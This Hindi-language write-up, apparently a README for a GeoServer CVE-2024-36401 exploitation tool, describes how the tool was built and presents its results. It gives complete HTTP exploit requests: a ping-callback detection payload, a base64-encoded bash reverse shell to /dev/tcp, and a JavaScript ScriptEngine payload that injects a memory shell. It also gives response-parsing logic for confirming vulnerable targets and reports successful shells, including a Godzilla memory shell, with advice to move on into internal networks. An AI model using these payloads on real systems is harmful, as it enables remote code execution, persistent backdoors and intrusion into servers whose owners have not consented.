
geoserver CVE-2024-36401 शोषण उपकरण
geoserver CVE-2024-36401 पर्यावरण: JDK8 घोषणा: केवल अधिकृत परीक्षण के लिए, उपयोगकर्ता द्वारा दुरुपयोग से होने वाले सभी परिणाम लेखक से संबंधित नहीं हैं। कृपया कानूनों और विनियमों का पालन करें!
1, डिफ़ॉल्ट payload:
POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>
तो यहाँ ध्यान दें: <wfs:Query typeNames='sf:archsites'/>
इस स्थान पर, यदि आपको regex के माध्यम से इसे प्राप्त करने की आवश्यकता है, तो यह sf:archsites वेबसाइट का एक मूल पहचानकर्ता है, आपको पहले इसका
wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType> जानकारी प्राप्त करनी होगी, फिर आप जोड़ने का तरीका अपना सकते हैं
भेद्यता का निर्धारण करते समय wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
यहाँ, वास्तव में DNS रिकॉर्ड देखने की आवश्यकता नहीं है
सरल तर्क यह है कि यह देखना है कि कोई असामान्य वर्ग मौजूद है या नहीं
जैसे java.lang.ClassCastException
बेशक, यह केवल निर्णय तर्क है
यह प्रतिध्वनि मूल रूप से 400 है, यहाँ गलती करना आसान है, आपको त्रुटि पृष्ठ का निर्धारण करने के बाद डेटा खोजने की आवश्यकता है
पहले आपको एक <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>
यह जानकारी दर्शाती है कि आप उसका wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType> प्राप्त कर सकते हैं
फिर सीधे टेक्स्ट को असाइन करें, फिर एक फ़ंक्शन विधि कॉल करें, टेक्स्ट से कटी हुई जानकारी को पैरामीटर में <wfs:Query typeNames='sf:archsites'/> यहाँ जोड़ें
यह तर्क अपेक्षाकृत सटीक होगा, परीक्षण वर्ग ऐसे ही लिखा जा सकता है
यदि आप हमेशा <wfs:Query typeNames='sf:archsites'/> का उपयोग करते रहते हैं, तो गलत निर्णय की संभावना अधिक होती है, और यह sf:archsites नहीं मिलने का संकेत देगा
रिबाउंड क्लास
आइए रिबाउंड payload देखें:
POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>
हम यहाँ ध्यान दें:
<wfs:Query typeNames='sf:archsites'/>
इसी प्रकार, पहले regex द्वारा मान लें और फिर उसे जोड़ें
फिर सीधे अनुरोध करें
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx यह एन्क्रिप्टेड base64 है
लेखन करते समय, उपयोगकर्ता द्वारा इनपुट किए गए bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 को base64 में बदल दें
फिर अनुरोध भेजें, और फिर महत्वपूर्ण अपवाद वर्ग ढूंढें, निर्णय तर्क की जाँच करें
मेमोरी शेल इंजेक्शन क्लास यहाँ POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>
यहाँ भी <wfs:Query typeNames='sf:archsites'/> है, पुराना नियम, पहले मान लें
स्टार में, आपके द्वारा उत्पन्न base64 मेमोरी शेल एन्क्रिप्टेड कोड डालें
फिर निर्णय तर्क करें
गलती करने के आसान बिंदु
https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<
भेद्यता वाला बिंदु: <ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>
सीधे शब्दों में कहें तो भेद्यता मौजूद है तो java.lang.ClassCastException
गलत निर्णय: Could not locate {http://www.openplans.org/spearfish}archsites in catalog
टेक्स्ट फ़ंक्शन कॉल करते समय, पहले से मान देना आवश्यक है, ताकि शून्य सूचक अपवाद से बचा जा सके, अनुरोध से पहले जोड़ें, प्रतिक्रिया में अपवाद देखें, अपवाद के भीतर निर्णय लें
अंततः हमने इस भेद्यता शोषण उपकरण को लिखा

आइए भेद्यता का परीक्षण करें
उपकरण निष्पादन प्रभाव


संकेत: कोई प्रतिध्वनि नहीं और भेद्यता आउटपुट मौजूद नहीं होना समान है, यदि भेद्यता मौजूद है तो + चिह्न दिखाई देगा
भेद्यता मिलने पर, शेल में रिबाउंड करें, ऑनलाइन परीक्षण करें, यदि ऑनलाइन हो सके तो आंतरिक नेटवर्क परीक्षण करें
अनुकूलन में कस्टम मेमोरी शेल, बैच डिटेक्शन आदि शामिल हो सकते हैं

भेद्यता का पता चला, एंडपॉइंट प्राप्त हुआ, रिबाउंड शेल भी सफल रहा
अब मेमोरी शेल इंजेक्ट करने का प्रयास करते हैं

दिखाता है कि मेमोरी शेल सफलतापूर्वक इंजेक्ट हुआ, आइए कनेक्ट करके देखें कि सफल है या नहीं

कनेक्ट किया जा सकता है
संकेत: मेमोरी शेल का परीक्षण करते समय, This GeoServer instance is running version 2.15.2. For more information please contact the
इस संस्करण में मेमोरी शेल सफलतापूर्वक डाला गया
उच्च संस्करण विफल हो सकते हैं
अन्य स्वयं परीक्षण करें

कस्टम मेमोरी शेल फ़ंक्शन जोड़ा गया

ls परीक्षण, ping परीक्षण जोड़ा गया
मेमोरी शेल इंजेक्शन की समस्या ठीक की गई
टॉमकैट और जेटी की पहचान जोड़ी गई
गॉडज़िला मेमोरी शेल डिफ़ॉल्ट रूप से जेटी वातावरण का उपयोग करके इंजेक्ट किया जाता है
कस्टम मेमोरी शेल परीक्षण के लिए स्वयं टॉमकैट वातावरण चुन सकते हैं
बैच संस्करण अभी तक जारी नहीं किया गया है